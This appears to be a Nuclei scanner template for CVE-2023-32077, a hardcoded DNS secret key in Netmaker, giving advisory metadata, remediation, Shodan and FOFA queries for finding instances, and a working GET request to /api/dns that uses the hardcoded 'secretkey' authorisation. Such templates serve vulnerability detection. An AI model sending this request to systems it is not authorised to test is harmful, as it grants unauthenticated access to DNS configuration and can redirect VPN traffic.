id: CVE-2023-32077 info: name: Netmaker - Hardcoded DNS Secret Key author: iamnoooob,rootxharsh,pdresearch severity: high description: | Netmaker makes networks with WireGuard. Prior to versions 0.17.1 and 0.18.6, hardcoded DNS key usage has been found in Netmaker allowing unauth users to interact with DNS API endpoints. impact: | Unauthenticated attackers can access DNS API endpoints using the hardcoded secret key, potentially manipulating DNS configurations and redirecting WireGuard network traffic in the Netmaker VPN infrastructure. remediation: | Update Netmaker to version 0.17.1 or 0.18.6 or later that removes hardcoded credentials and implements proper authentication for DNS API endpoints. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-32077 cwe-id: CWE-798,CWE-321 epss-score: 0.03147 epss-percentile: 0.86263 cpe: cpe:2.3:a:gravitl:netmaker:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: gravitl product: netmaker shodan-query: - html:"netmaker" - http.html:"netmaker" fofa-query: body="netmaker" tags: cve,cve2023,info-key,netmaker,exposure,gravitl,vuln http: - method: GET path: - "{{BaseURL}}/api/dns" headers: Authorization: "x secretkey" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(header, "application/json")' - 'contains_all(body, "{\"address\":", "\"network\":", "\"name\":")' condition: and # digest: 490a00463044022071cd459e3abc02d1c2c52e7d78b0e5d6d28dd39435142245edbaa5028a83acad02205e49b51a3db7048fd0cb9ac9968c64d99287ab8c2a7255f96e5cc2aacf20e024:922c64590222798bb761d5b6d8e72950